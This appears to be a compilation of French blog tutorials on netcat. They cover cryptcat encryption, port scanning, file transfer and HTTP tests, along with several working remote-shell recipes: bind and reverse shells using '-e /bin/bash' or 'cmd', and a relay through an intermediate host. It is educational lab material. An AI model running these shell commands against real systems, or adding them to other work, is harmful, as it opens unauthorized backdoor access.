Mais il est possible de crypter les échnages entre 2 netcat via Cryptcat. Cet utilitaire va vous permettre d’échanger des flux chiffrés avec un mot de passe.

Comment faire ?

Voici les éléments à retenir :

# Sans encryption
sudo tcpdump -A -i any -n host 172.17.0.2 and port 8080

nc -l -p 8080

nc 172.17.0.2 8080


# avec encryption
apt-get install cryptcat

cryptcat -k password -l -p 8080

cryptcat -k password 172.17.0.2 8080

L’article Netcat – Cryptcat pour chiffrer vos échanges est apparu en premier sur Xavki.

Pour passer des commandes sous windows on utilise le terminale CMD et linux ne peut pas de base se connecter à windows et interagir avec. Il existe une solution néanmoins en tordant un peu les choses.

Première chose à faire installer netcat sur le windows et mettre en écoute le netcat avec une commande CMD (option -a) :

# sur le windows install de netcat
# https://joncraton.org/files/nc111nt.zip
# dézippe C:\Programm files...
# lancement de cmd
# on se rend dans le répertoire
# ipconfig : liste ip

nc -l -p 9999 -e cmd

Dans notre exemple notre netcat écoute sur le port 9999.

Puis sur notre linux, il ne nous reste plus qu’à nous connecter dessus.

# sur le linux

nc 192.168.99.100 9999

Le tour est joué, il ne reste plus qu’à passer des commandes windows comme ipconfig.

L’article Netcat – accéder à un CMD Windows sur son linux est apparu en premier sur Xavki.

machine 1 > machine 2 > machine 3

Ainsi, on va utiliser 3 machines dont une servira d’intermédiaire entre les 2 autres. L’objectif étant de passer des commandes des commandes shell à partir de la machine sur la machine 3 en passant par la 2.

La démo en vidéo

Les commandes sont les suivantes :

exemple : 172.17.0.1 > 172.17.0.2 > 172.17.0.3

# sur la cible 172.17.0.3
nc -l -p 9999 -e /bin/bash

# sur le relay 172.17.0.2
mknod backpipe p
nc -l -p 7777 0<backpipe | nc 172.17.0.3 9999 1>backpipe

# sur la source 172.17.0.1
nc 172.17.0.2 7777

L’article Netcat – mise en place d’un relai shell est apparu en premier sur Xavki.

Comment faire ?

1ère option : l’écoute avec bash

Sur la machine distante on lance un netcat en écoute -l avec -e la commande bash :

nc -l -p 9999 -e /bin/bash

Pour se connecter dessus il suffit de se connecter à l’ip/port de la machine en netcat :

nc 172.17.0.2 9999

2ème option : lancement de la commande à la connexion

#source  172.17.0.1
nc -l -p 6666

#cible 172.17.0.2
nc 172.17.0.1 6666 -e '/bin/bash'

L’article Netcat – lancer un shell distant est apparu en premier sur Xavki.

Mais il faut savoir que parfois on peut utiliser netcat pour envoyer et recevoir des fichiers.

Premier cas, on veut récupérer le fichier via un curl :

# envoi d'un fichier
netcat -l -p 81 < toto.txt

# interrogation
# curl 172.17.0.2:81

Autre méthode avec un netcat à l’écoute qui écrit dans un fichier. Puis un envoi via netcat.

#réception
netcat -l -p 6666 >x.file

#envoi
netcat -w 3 172.17.0.1 6666 <toto.txt

L’article Netcat – envoyer des fichiers entre 2 machines est apparu en premier sur Xavki.

Mais saviez vous aussi que vous pouviez faire aussi cela avec netcat ? eh oui netcat est un bon couteau suisse souvent méconnu.

Je vous invite à découvrir cela en vidéo.

Pour cela voici la ligne de commande et l’option -z à retenir.

# scan d'1 port
netcat -z -v 172.17.0.2 80

# scan d'un range 80-100
netcat -z -v 172.17.0.2 80-100

L’article Netcat – Comment scanner des ports ? est apparu en premier sur Xavki.

Certains black hat l’utilisent pour disposer d’une backdoor le temps de faire quleques opérations par exemple. Sans aller aussi loin je vous propose en quelques articles de découvrir comment en faire plus avec ce vrai couteau suisse du système linux.

Aujourd’hui nous allons commencer très simplement avec une simple connexion HTTP avec un serveur comme apache ou nginx par exemple.

Vous pouvez décourir cela dans cette vidéo :

Pour résumer très simplement :

netcat -v 172.17.0.2 80

Puis pour tester notre connexion, nous pouvons passer :

GET / HTTP/1.0

Avec celle-ci on demande au serveur web de nous fournir la page d’accueil “/”.

L’article Netcat – Comment réaliser une connexion HTTP ? est apparu en premier sur Xavki.